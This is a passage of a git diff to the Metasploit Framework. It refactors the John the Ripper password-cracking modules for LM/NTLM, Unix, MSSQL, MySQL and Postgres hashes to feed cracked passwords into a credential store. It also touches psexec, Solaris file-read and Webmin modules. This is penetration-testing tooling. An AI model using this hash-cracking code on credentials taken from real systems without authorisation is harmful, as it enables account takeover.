@@ -8,10 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB include Msf::Exploit::Remote::SMB::Psexec - include Msf::Exploit::Remote::SMB::Authenticated include Msf::Auxiliary::Report # Aliases for common classes @@ -50,12 +47,6 @@ class Metasploit3 < Msf::Auxiliary end - - def peer - return "#{rhost}:#{rport}" - end - - # This is the main control method def run # Initialize some variables diff --git a/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb b/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb index b11202c9d3..fe8379acbf 100644 --- a/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb +++ b/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'vlad902 ', # MSF v2 module + 'vlad902 ', # MSF v2 module 'jduck' # Ported to MSF v3 ], 'License' => MSF_LICENSE, diff --git a/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb b/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb index 5fe695a22f..31edbcc74b 100644 --- a/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb +++ b/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb @@ -68,8 +68,8 @@ class Metasploit3 < Msf::Auxiliary 'data' => data }, 25) - if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/ - session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || '' + if res and res.code == 302 and res.get_cookies =~ /sid/ + session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || '' if session and not session.empty? print_good "#{peer} - Authentication successful" else diff --git a/modules/auxiliary/analyze/jtr_aix.rb b/modules/auxiliary/analyze/jtr_aix.rb index cbe3c02004..3b60d618c1 100644 --- a/modules/auxiliary/analyze/jtr_aix.rb +++ b/modules/auxiliary/analyze/jtr_aix.rb @@ -5,6 +5,7 @@ require 'msf/core' +require 'msf/core/auxiliary/jtr' class Metasploit3 < Msf::Auxiliary @@ -28,67 +29,67 @@ class Metasploit3 < Msf::Auxiliary end def run - wordlist = Rex::Quickfile.new("jtrtmp") - begin - wordlist.write( build_seed().join("\n") + "\n" ) - ensure - wordlist.close - end + cracker = new_john_cracker - myloots = myworkspace.loots.find(:all, :conditions => ['ltype=?', 'aix.hashes']) - return if myloots.nil? or myloots.empty? + #generate our wordlist and close the file handle + wordlist = wordlist_file + wordlist.close + print_status "Wordlist file written out to #{wordlist.path}" + cracker.wordlist = wordlist.path + cracker.hash_path = hash_file - loot_data = '' - - myloots.each do |myloot| - usf = '' - begin - File.open(myloot.path, "rb") do |f| - usf = f.read - end - rescue Exception => e - print_error("Unable to read #{myloot.path} \n #{e}") - next + ['des'].each do |format| + # dupe our original cracker so we can safely change options between each run + cracker_instance = cracker.dup + cracker_instance.format = format + print_status "Cracking #{format} hashes in normal wordlist mode..." + cracker_instance.crack do |line| + print_status line.chomp end - usf.each_line do |row| - row.gsub!(/\n/, ":#{myloot.host.address}\n") - loot_data << row + + print_status "Cracking #{format} hashes in single mode..." + cracker_instance.rules = 'single' + cracker_instance.crack do |line| + print_status line.chomp end - end - hashlist = Rex::Quickfile.new("jtrtmp") - hashlist.write(loot_data) - hashlist.close - - print_status("HashList: #{hashlist.path}") - - print_status("Trying Format:des Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'des') - print_status("Trying Format:des Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'des') - print_status("Trying Format:des Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'des') - - cracked = john_show_passwords(hashlist.path) - - - print_status("#{cracked[:cracked]} hashes were cracked!") - - cracked[:users].each_pair do |k,v| - if v[0] == "NO PASSWORD" - passwd="" - else - passwd=v[0] + print_status "Cracking #{format} hashes in incremental mode (Digits)..." + cracker_instance.rules = nil + cracker_instance.wordlist = nil + cracker_instance.incremental = 'Digits' + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracked Passwords this run:" + cracker_instance.each_cracked_password do |password_line| + password_line.chomp! + next if password_line.blank? + fields = password_line.split(":") + # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >=3 + username = fields.shift + core_id = fields.pop + password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them + print_good password_line + create_cracked_credential( username: username, password: password, core_id: core_id) end - print_good("Host: #{v.last} User: #{k} Pass: #{passwd}") - report_auth_info( - :host => v.last, - :port => 22, - :sname => 'ssh', - :user => k, - :pass => passwd - ) end end + def hash_file + hashlist = Rex::Quickfile.new("hashes_tmp") + Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'des').each do |hash| + hash.cores.each do |core| + user = core.public.username + hash_string = "#{hash.data}" + id = core.id + hashlist.puts "#{user}:#{hash_string}:#{id}:" + end + end + hashlist.close + print_status "Hashes Written out to #{hashlist.path}" + hashlist.path + end + end diff --git a/modules/auxiliary/analyze/jtr_crack_fast.rb b/modules/auxiliary/analyze/jtr_crack_fast.rb index 25349f1991..57d02cb2bc 100644 --- a/modules/auxiliary/analyze/jtr_crack_fast.rb +++ b/modules/auxiliary/analyze/jtr_crack_fast.rb @@ -5,6 +5,7 @@ require 'msf/core' +require 'msf/core/auxiliary/jtr' class Metasploit3 < Msf::Auxiliary @@ -12,8 +13,8 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'John the Ripper Password Cracker (Fast Mode)', - 'Description' => %Q{ + 'Name' => 'John the Ripper Password Cracker (Fast Mode)', + 'Description' => %Q{ This module uses John the Ripper to identify weak passwords that have been acquired as hashed files (loot) or raw LANMAN/NTLM hashes (hashdump). The goal of this module is to find trivial passwords in a short amount of time. To @@ -21,135 +22,108 @@ class Metasploit3 < Msf::Auxiliary used outside of Metasploit. This initial version just handles LM/NTLM credentials from hashdump and uses the standard wordlist and rules. }, - 'Author' => 'hdm', - 'License' => MSF_LICENSE # JtR itself is GPLv2, but this wrapper is MSF (BSD) + 'Author' => 'hdm', + 'License' => MSF_LICENSE # JtR itself is GPLv2, but this wrapper is MSF (BSD) ) end def run - wordlist = Rex::Quickfile.new("jtrtmp") - hashlist = Rex::Quickfile.new("jtrtmp") + cracker = new_john_cracker - begin - # Seed the wordlist with usernames, passwords, and hostnames - seed = [] + # generate our wordlist and close the file handle + wordlist = wordlist_file + wordlist.close + print_status "Wordlist file written out to #{wordlist.path}" + cracker.wordlist = wordlist.path + cracker.hash_path = hash_file - myworkspace.hosts.find(:all).each {|o| seed << john_expand_word( o.name ) if o.name } - myworkspace.creds.each do |o| - seed << john_expand_word( o.user ) if o.user - seed << john_expand_word( o.pass ) if (o.pass and o.ptype !~ /hash/) + ['lm','nt'].each do |format| + # dupe our original cracker so we can safely change options between each run + cracker_instance = cracker.dup + cracker_instance.format = format + print_status "Cracking #{format} hashes in normal wordlist mode..." + cracker_instance.crack do |line| + print_status line.chomp end - # Grab any known passwords out of the john.pot file - john_cracked_passwords.values {|v| seed << v } - - # Write the seed file - wordlist.write( seed.flatten.uniq.join("\n") + "\n" ) - - print_status("Seeded the password database with #{seed.length} words...") - - # Append the standard JtR wordlist as well - ::File.open(john_wordlist_path, "rb") do |fd| - wordlist.write fd.read(fd.stat.size) + print_status "Cracking #{format} hashes in single mode..." + cracker_instance.rules = 'single' + cracker_instance.crack do |line| + print_status line.chomp end - # Close the wordlist to prevent sharing violations (windows) - wordlist.close - - # Create a PWDUMP style input file for SMB Hashes - smb_hashes = myworkspace.creds.select{|x| x.ptype == "smb_hash" } - smb_hashes.each do |cred| - hashlist.write( "cred_#{cred[:id]}:#{cred[:id]}:#{cred[:pass]}:::\n" ) - end - hashlist.close - - if smb_hashes.length > 0 - cracked_ntlm = {} - cracked_lm = {} - added = [] - - # Crack this in LANMAN format using wordlist mode with tweaked rules - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'lm') - - # Crack this in LANMAN format using various incremntal modes - john_crack(hashlist.path, :incremental => "All4", :format => 'lm') - john_crack(hashlist.path, :incremental => "Digits5", :format => 'lm') - - # Parse cracked passwords and permute LANMAN->NTLM as needed - cracked = john_show_passwords(hashlist.path, 'lm') - cracked[:users].each_pair do |k,v| - next if v == "" - next if (v[0,7] == "???????" or v[7,7] == "???????") - next if not k =~ /^cred_(\d+)/m - cid = $1.to_i - - cracked_lm[k] = v - - cred_find = smb_hashes.select{|x| x[:id] == cid} - next if cred_find.length == 0 - - cred = cred_find.first - ntlm = cred.pass.split(":", 2).last - done = john_lm_upper_to_ntlm(v, ntlm) - cracked_ntlm[k] = done if done - end - - # Append any cracked values to the wordlist - tfd = ::File.open(wordlist.path, "ab") - cracked_lm.values.each {|w| if not added.include?(w); tfd.write( w + "\n" ); added << w; end } - cracked_ntlm.values.each {|w| if not added.include?(w); tfd.write( w + "\n" ); added << w; end } - tfd.close - - # Crack this in NTLM format - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'nt') - - # Crack this in NTLM format using various incremntal modes - john_crack(hashlist.path, :incremental => "All4", :format => 'nt') - john_crack(hashlist.path, :incremental => "Digits5", :format => 'nt') - - # Parse cracked passwords - cracked = john_show_passwords(hashlist.path, 'nt') - cracked[:users].each_pair do |k,v| - next if cracked_ntlm[k] - cracked_ntlm[k] = v - end - - # Append any cracked values to the wordlist - tfd = ::File.open(wordlist.path, "ab") - cracked_ntlm.values.each {|w| if not added.include?(w); tfd.write( w + "\n" ); added << w; end } - tfd.close - - # Store the cracked results based on user_id => cred.id - cracked_ntlm.each_pair do |k,v| - next if not k =~ /^cred_(\d+)/m - cid = $1.to_i - - cred_find = smb_hashes.select{|x| x[:id] == cid} - next if cred_find.length == 0 - cred = cred_find.first - next if cred.user.to_s.strip.length == 0 - - print_good("Cracked: #{cred.user}:#{v} (#{cred.service.host.address}:#{cred.service.port})") - report_auth_info( - :host => cred.service.host, - :service => cred.service, - :user => cred.user, - :pass => v, - :type => "password", - :source_id => cred[:id], - :source_type => 'cracked' - ) + if format == 'lm' + print_status "Cracking #{format} hashes in incremental mode (All4)..." + cracker_instance.rules = nil + cracker_instance.wordlist = nil + cracker_instance.incremental = 'All4' + cracker_instance.crack do |line| + print_status line.chomp end end - # XXX: Enter other hash types here (shadow, etc) + print_status "Cracking #{format} hashes in incremental mode (Digits)..." + cracker_instance.rules = nil + cracker_instance.wordlist = nil + cracker_instance.incremental = 'Digits' + cracker_instance.crack do |line| + print_status line.chomp + end - rescue ::Timeout::Error - ensure - wordlist.close rescue nil - hashlist.close rescue nil - ::File.unlink(wordlist.path) rescue nil - ::File.unlink(hashlist.path) rescue nil + print_status "Cracked Passwords this run:" + cracker_instance.each_cracked_password do |password_line| + password_line.chomp! + next if password_line.blank? + + fields = password_line.split(":") + # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >=7 + username = fields.shift + core_id = fields.pop + + # pop off dead space here + 2.times{ fields.pop } + + # get the NT and LM hashes + nt_hash = fields.pop + lm_hash = fields.pop + password = fields.join(':') + + if format == 'lm' + if password.blank? + if nt_hash == Metasploit::Credential::NTLMHash::BLANK_NT_HASH + password = '' + else + next + end + end + password = john_lm_upper_to_ntlm(password, nt_hash) + # password can be nil if the hash is broken (i.e., the NT and + # LM sides don't actually match) or if john was only able to + # crack one half of the LM hash. In the latter case, we'll + # have a line like: + # username:???????WORD:...:...::: + next if password.nil? + end + + print_good "#{username}:#{password}:#{core_id}" + create_cracked_credential( username: username, password: password, core_id: core_id) + end end end + + def hash_file + hashlist = Rex::Quickfile.new("hashes_tmp") + Metasploit::Credential::NTLMHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id } ).each do |hash| + hash.cores.each do |core| + user = core.public.username + hash_string = "#{hash.data}" + id = core.id + hashlist.puts "#{user}:#{id}:#{hash_string}:::#{id}" + end + end + hashlist.close + print_status "Hashes Written out to #{hashlist.path}" + hashlist.path + end end diff --git a/modules/auxiliary/analyze/jtr_linux.rb b/modules/auxiliary/analyze/jtr_linux.rb index 48f3c23837..5e124b513d 100644 --- a/modules/auxiliary/analyze/jtr_linux.rb +++ b/modules/auxiliary/analyze/jtr_linux.rb @@ -5,6 +5,7 @@ require 'msf/core' +require 'msf/core/auxiliary/jtr' class Metasploit3 < Msf::Auxiliary @@ -36,91 +37,62 @@ class Metasploit3 < Msf::Auxiliary end def run - wordlist = Rex::Quickfile.new("jtrtmp") - - begin - wordlist.write( build_seed().join("\n") + "\n" ) - ensure - wordlist.close - end - - myloots = myworkspace.loots.where('ltype=?', 'linux.hashes') - return if myloots.nil? or myloots.empty? - - loot_data = '' - - myloots.each do |myloot| - usf = '' - begin - File.open(myloot.path, "rb") do |f| - usf = f.read - end - rescue Exception => e - print_error("Unable to read #{myloot.path} \n #{e}") - end - usf.each_line do |row| - row.gsub!(/\n/, ":#{myloot.host.address}\n") - loot_data << row - end - end - - hashlist = Rex::Quickfile.new("jtrtmp") - hashlist.write(loot_data) - hashlist.close - - print_status("HashList: #{hashlist.path}") - - print_status("Trying Format:md5 Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'md5') - print_status("Trying Format:md5 Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'md5') - print_status("Trying Format:md5 Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'md5') - - - print_status("Trying Format:des Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'des') - print_status("Trying Format:des Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'des') - print_status("Trying Format:des Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'des') - - print_status("Trying Format:bsdi Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'bsdi') - print_status("Trying Format:bsdi Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'bsdi') - print_status("Trying Format:bsdi Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'bsdi') + formats = [ 'md5', 'des', 'bsdi'] if datastore['Crypt'] - print_status("Trying Format:crypt Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'crypt') - print_status("Trying Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'crypt') - print_status("Trying Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'crypt') + format << 'crypt' end + cracker = new_john_cracker - cracked = john_show_passwords(hashlist.path) + #generate our wordlist and close the file handle + wordlist = wordlist_file + wordlist.close + print_status "Wordlist file written out to #{wordlist.path}" + cracker.wordlist = wordlist.path + cracker.hash_path = hash_file - - print_status("#{cracked[:cracked]} hashes were cracked!") - - cracked[:users].each_pair do |k,v| - if v[0] == "NO PASSWORD" - passwd="" - else - passwd=v[0] + formats.each do |format| + # dupe our original cracker so we can safely change options between each run + cracker_instance = cracker.dup + cracker_instance.format = format + print_status "Cracking #{format} hashes in normal wordlist mode..." + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracked Passwords this run:" + cracker_instance.each_cracked_password do |password_line| + password_line.chomp! + next if password_line.blank? + fields = password_line.split(":") + # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >=7 + username = fields.shift + core_id = fields.pop + 4.times { fields.pop } + password = fields.join('') # Anything left must be the password. This accounts for passwords with : in them + print_good password_line + create_cracked_credential( username: username, password: password, core_id: core_id) end - print_good("Host: #{v.last} User: #{k} Pass: #{passwd}") - report_auth_info( - :host => v.last, - :port => 22, - :sname => 'ssh', - :user => k, - :pass => passwd - ) end end + + def hash_file + hashlist = Rex::Quickfile.new("hashes_tmp") + Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'md5,des,bsdi,crypt').each do |hash| + hash.cores.each do |core| + user = core.public.username + hash_string = "#{hash.data}" + id = core.id + hashlist.puts "#{user}:#{hash_string}:::::#{id}:" + end + end + hashlist.close + print_status "Hashes Written out to #{hashlist.path}" + hashlist.path + end + + + end diff --git a/modules/auxiliary/analyze/jtr_mssql_fast.rb b/modules/auxiliary/analyze/jtr_mssql_fast.rb index a1d9d8ba2c..56c88b67bc 100644 --- a/modules/auxiliary/analyze/jtr_mssql_fast.rb +++ b/modules/auxiliary/analyze/jtr_mssql_fast.rb @@ -5,6 +5,7 @@ require 'msf/core' +require 'msf/core/auxiliary/jtr' class Metasploit3 < Msf::Auxiliary @@ -28,62 +29,70 @@ class Metasploit3 < Msf::Auxiliary end def run - @wordlist = Rex::Quickfile.new("jtrtmp") + @formats = Set.new + cracker = new_john_cracker - @wordlist.write( build_seed().flatten.uniq.join("\n") + "\n" ) - @wordlist.close - print_status("Cracking MSSQL Hashes") - crack("mssql") - print_status("Cracking MSSQL05 Hashes") - crack("mssql05") + #generate our wordlist and close the file handle + wordlist = wordlist_file + wordlist.close + print_status "Wordlist file written out to #{wordlist.path}" + cracker.wordlist = wordlist.path + cracker.hash_path = hash_file - end - - - - - def crack(format) - - hashlist = Rex::Quickfile.new("jtrtmp") - ltype= "#{format}.hashes" - myloots = myworkspace.loots.where('ltype=?', ltype) - unless myloots.nil? or myloots.empty? - myloots.each do |myloot| - begin - mssql_array = CSV.read(myloot.path).drop(1) - rescue Exception => e - print_error("Unable to read #{myloot.path} \n #{e}") - end - mssql_array.each do |row| - hashlist.write("#{row[0]}:0x#{row[1]}:#{myloot.host.address}:#{myloot.service.port}\n") - end + @formats.each do |format| + # dupe our original cracker so we can safely change options between each run + cracker_instance = cracker.dup + cracker_instance.format = format + print_status "Cracking #{format} hashes in normal wordlist mode..." + cracker_instance.crack do |line| + print_status line.chomp end - hashlist.close - print_status("HashList: #{hashlist.path}") - print_status("Trying Wordlist: #{@wordlist.path}") - john_crack(hashlist.path, :wordlist => @wordlist.path, :rules => 'single', :format => format) + print_status "Cracking #{format} hashes in single mode..." + cracker_instance.rules = 'single' + cracker_instance.crack do |line| + print_status line.chomp + end - print_status("Trying Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => format) + print_status "Cracking #{format} hashes in incremental mode (Digits)..." + cracker_instance.incremental = 'Digits' + cracker_instance.crack do |line| + print_status line.chomp + end - print_status("Trying Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => format) - - cracked = john_show_passwords(hashlist.path, format) - - print_status("#{cracked[:cracked]} hashes were cracked!") - cracked[:users].each_pair do |k,v| - print_good("Host: #{v[1]} Port: #{v[2]} User: #{k} Pass: #{v[0]}") - report_auth_info( - :host => v[1], - :port => v[2], - :sname => 'mssql', - :user => k, - :pass => v[0] - ) + print_status "Cracked Passwords this run:" + cracker_instance.each_cracked_password do |password_line| + password_line.chomp! + next if password_line.blank? + fields = password_line.split(":") + # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >=3 + username = fields.shift + core_id = fields.pop + password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them + print_good password_line + create_cracked_credential( username: username, password: password, core_id: core_id) end end + end + def hash_file + hashlist = Rex::Quickfile.new("hashes_tmp") + Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: ['mssql', 'mssql05', 'mssql12']).each do |hash| + # Track the formats that we've seen so we do not attempt a format that isn't relevant + @formats << hash.jtr_format + hash.cores.each do |core| + user = core.public.username + hash_string = "#{hash.data}" + id = core.id + hashlist.puts "#{user}:#{hash_string}:#{id}:" + end + end + hashlist.close + print_status "Hashes Written out to #{hashlist.path}" + hashlist.path + end + + end diff --git a/modules/auxiliary/analyze/jtr_mysql_fast.rb b/modules/auxiliary/analyze/jtr_mysql_fast.rb index 488c6c7e36..cf5d28e1a3 100644 --- a/modules/auxiliary/analyze/jtr_mysql_fast.rb +++ b/modules/auxiliary/analyze/jtr_mysql_fast.rb @@ -5,6 +5,7 @@ require 'msf/core' +require 'msf/core/auxiliary/jtr' class Metasploit3 < Msf::Auxiliary @@ -28,81 +29,64 @@ class Metasploit3 < Msf::Auxiliary end def run - wordlist = Rex::Quickfile.new("jtrtmp") + cracker = new_john_cracker - wordlist.write( build_seed().flatten.uniq.join("\n") + "\n" ) + #generate our wordlist and close the file handle + wordlist = wordlist_file wordlist.close + print_status "Wordlist file written out to #{wordlist.path}" + cracker.wordlist = wordlist.path + cracker.hash_path = hash_file - hashlist = Rex::Quickfile.new("jtrtmp") - - myloots = myworkspace.loots.where('ltype=?', 'mysql.hashes') - unless myloots.nil? or myloots.empty? - myloots.each do |myloot| - begin - mssql_array = CSV.read(myloot.path).drop(1) - rescue Exception => e - print_error("Unable to read #{myloot.path} \n #{e}") - end - mssql_array.each do |row| - hashlist.write("#{row[0]}:#{row[1]}:#{myloot.host.address}:#{myloot.service.port}\n") - end - end - hashlist.close - - print_status("HashList: #{hashlist.path}") - print_status("Trying 'mysql-fast' Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'mysql-fast') - - print_status("Trying 'mysql-fast' Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'mysql-fast') - - print_status("Trying mysql-fast Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'mysql-fast') - - cracked = john_show_passwords(hashlist.path, 'mysql-fast') - - print_status("#{cracked[:cracked]} hashes were cracked!") - - #Save cracked creds and add the passwords back to the wordlist for the next round - tfd = ::File.open(wordlist.path, "ab") - cracked[:users].each_pair do |k,v| - print_good("Host: #{v[1]} Port: #{v[2]} User: #{k} Pass: #{v[0]}") - tfd.write( v[0] + "\n" ) - report_auth_info( - :host => v[1], - :port => v[2], - :sname => 'mssql', - :user => k, - :pass => v[0] - ) + ['mysql','mysql-sha1'].each do |format| + cracker_instance = cracker.dup + cracker_instance.format = format + print_status "Cracking #{format} hashes in normal wordlist mode..." + cracker_instance.crack do |line| + print_status line.chomp end - print_status("Trying 'mysql-sha1' Wordlist: #{wordlist.path}") - john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'mysql-sha1') - - print_status("Trying 'mysql-sha1' Rule: All4...") - john_crack(hashlist.path, :incremental => "All4", :format => 'mysql-sha1') - - print_status("Trying 'mysql-sha1' Rule: Digits5...") - john_crack(hashlist.path, :incremental => "Digits5", :format => 'mysql-sha1') - - cracked = john_show_passwords(hashlist.path, 'mysql-sha1') - - print_status("#{cracked[:cracked]} hashes were cracked!") - - cracked[:users].each_pair do |k,v| - print_good("Host: #{v[1]} Port: #{v[2]} User: #{k} Pass: #{v[0]}") - report_auth_info( - :host => v[1], - :port => v[2], - :sname => 'mssql', - :user => k, - :pass => v[0] - ) + print_status "Cracking #{format} hashes in single mode..." + cracker_instance.rules = 'single' + cracker_instance.crack do |line| + print_status line.chomp end + print_status "Cracking #{format} hashes in incremental mode (Digits)..." + cracker_instance.incremental = 'Digits' + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracked Passwords this run:" + cracker_instance.each_cracked_password do |password_line| + password_line.chomp! + next if password_line.blank? + fields = password_line.split(":") + # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >=3 + username = fields.shift + core_id = fields.pop + password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them + print_good password_line + create_cracked_credential( username: username, password: password, core_id: core_id) + end end + end + def hash_file + hashlist = Rex::Quickfile.new("hashes_tmp") + Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'mysql,mysql-sha1').each do |hash| + hash.cores.each do |core| + user = core.public.username + hash_string = "#{hash.data}" + id = core.id + hashlist.puts "#{user}:#{hash_string}:#{id}:" + end + end + hashlist.close + print_status "Hashes Written out to #{hashlist.path}" + hashlist.path end diff --git a/modules/auxiliary/analyze/jtr_oracle_fast.rb b/modules/auxiliary/analyze/jtr_oracle_fast.rb index dea55ad410..3a38022247 100644 --- a/modules/auxiliary/analyze/jtr_oracle_fast.rb +++ b/modules/auxiliary/analyze/jtr_oracle_fast.rb @@ -5,6 +5,7 @@ require 'msf/core' +require 'msf/core/auxiliary/jtr' class Metasploit3 < Msf::Auxiliary diff --git a/modules/auxiliary/analyze/jtr_postgres_fast.rb b/modules/auxiliary/analyze/jtr_postgres_fast.rb new file mode 100644 index 0000000000..23b674a226 --- /dev/null +++ b/modules/auxiliary/analyze/jtr_postgres_fast.rb @@ -0,0 +1,120 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/auxiliary/jtr' + + +class Metasploit3 < Msf::Auxiliary + + #Included to grab the john.pot and use some utiltiy functions + include Msf::Auxiliary::JohnTheRipper + + def initialize + super( + 'Name' => 'John the Ripper Postgres SQL Password Cracker', + 'Description' => %Q{ + This module uses John the Ripper to attempt to crack Postgres password + hashes, gathered by the postgres_hashdump module. It is slower than some of the other + JtR modules because it has to do some wordlist manipulation to properly handle postgres' + format. + }, + 'Author' => ['theLightCosine'], + 'License' => MSF_LICENSE + ) + + end + + def run + @username_set = Set.new + + cracker = new_john_cracker + + hash_list = hash_file + + #generate our wordlist and close the file handle + wordlist = wordlist_file + wordlist.close + + + print_status "Wordlist file written out to #{wordlist.path}" + cracker.wordlist = wordlist.path + cracker.hash_path = hash_list + + ['raw-md5'].each do |format| + cracker_instance = cracker.dup + cracker_instance.format = format + print_status "Cracking #{format} hashes in normal wordlist mode..." + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracking #{format} hashes in single mode..." + cracker_instance.rules = 'single' + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracking #{format} hashes in incremental mode (Digits)..." + cracker_instance.incremental = 'Digits' + cracker_instance.crack do |line| + print_status line.chomp + end + + print_status "Cracked passwords this run:" + cracker_instance.each_cracked_password do |password_line| + password_line.chomp! + next if password_line.blank? + fields = password_line.split(":") + # If we don't have an expected minimum number of fields, this is probably not a hash line + next unless fields.count >=3 + username = fields.shift + core_id = fields.pop + password = fields.join(':') # Anything left must be the password. This accounts for passwords with : in them + + # Postgres hashes always prepend the username to the password before hashing. So we strip the username back off here. + password.gsub!(/^#{username}/,'') + print_good "#{username}:#{password}:#{core_id}" + create_cracked_credential( username: username, password: password, core_id: core_id) + end + end + + end + + # Override the mixin method to add prependers + def wordlist_file + return nil unless framework.db.active + wordlist = Metasploit::Framework::JtR::Wordlist.new( + prependers: @username_set, + custom_wordlist: datastore['CUSTOM_WORDLIST'], + mutate: datastore['MUTATE'], + use_creds: datastore['USE_CREDS'], + use_db_info: datastore['USE_DB_INFO'], + use_default_wordlist: datastore['USE_DEFAULT_WORDLIST'], + use_hostnames: datastore['USE_HOSTNAMES'], + use_common_root: datastore['USE_ROOT_WORDS'], + workspace: myworkspace + ) + wordlist.to_file + end + + def hash_file + hashlist = Rex::Quickfile.new("hashes_tmp") + Metasploit::Credential::NonreplayableHash.joins(:cores).where(metasploit_credential_cores: { workspace_id: myworkspace.id }, jtr_format: 'raw-md5,postgres').each do |hash| + hash.cores.each do |core| + user = core.public.username + @username_set << user + hash_string = "#{hash.data}" + id = core.id + hashlist.puts "#{user}:#{hash_string}:#{id}:" + end + end + hashlist.close + print_status "Hashes written out to #{hashlist.path}" + hashlist.path + end + +end diff --git a/modules/auxiliary/analyze/jtr_unshadow.rb b/modules/auxiliary/analyze/jtr_unshadow.rb index b46d2f9b01..13a19ed202 100644 --- a/modules/auxiliary/analyze/jtr_unshadow.rb +++ b/modules/auxiliary/analyze/jtr_unshadow.rb @@ -8,8 +8,6 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::JohnTheRipper - def initialize super( 'Name' => 'Unix Unshadow Utility', @@ -30,14 +28,7 @@ class Metasploit3 < Msf::Auxiliary end def run - - unshadow = john_unshadow(datastore['PASSWD_PATH'],datastore['SHADOW_PATH']) - if unshadow - print_good(unshadow) - filename= "#{datastore['IP']}_Linux_Hashes.txt" - lootfile = store_loot("linux.hashes", "text/plain", datastore['IP'], unshadow, filename, "Linux Hashes") - print_status("Saved unshadowed file: #{lootfile}") - end + print_error "This module is deprecated and does nothing. It will be removed in the next release!" end end diff --git a/modules/auxiliary/analyze/postgres_md5_crack.rb b/modules/auxiliary/analyze/postgres_md5_crack.rb deleted file mode 100644 index 2b9c9df045..0000000000 --- a/modules/auxiliary/analyze/postgres_md5_crack.rb +++ /dev/null @@ -1,82 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' -require 'digest/md5' - -class Metasploit3 < Msf::Auxiliary - - #Included to grab the john.pot and use some utiltiy functions - include Msf::Auxiliary::JohnTheRipper - - def initialize - super( - 'Name' => 'Postgres SQL md5 Password Cracker', - 'Description' => %Q{ - This module attempts to crack Postgres SQL md5 password hashes. - It creates hashes based on information saved in the MSF Database - such as hostnames, usernames, passwords, and database schema information. - The user can also supply an additional external wordlist if they wish. - }, - 'Author' => ['theLightCosine'], - 'License' => MSF_LICENSE - ) - - - deregister_options('JOHN_BASE','JOHN_PATH') - end - - def run - - print_status("Processing wordlist...") - @seed= build_seed() - - print_status("Wordlist length: #{@seed.length}") - - myloots = myworkspace.loots.where('ltype=?', 'postgres.hashes') - unless myloots.nil? - myloots.each do |myloot| - begin - postgres_array = CSV.read(myloot.path).drop(1) - rescue - print_error("Unable to process 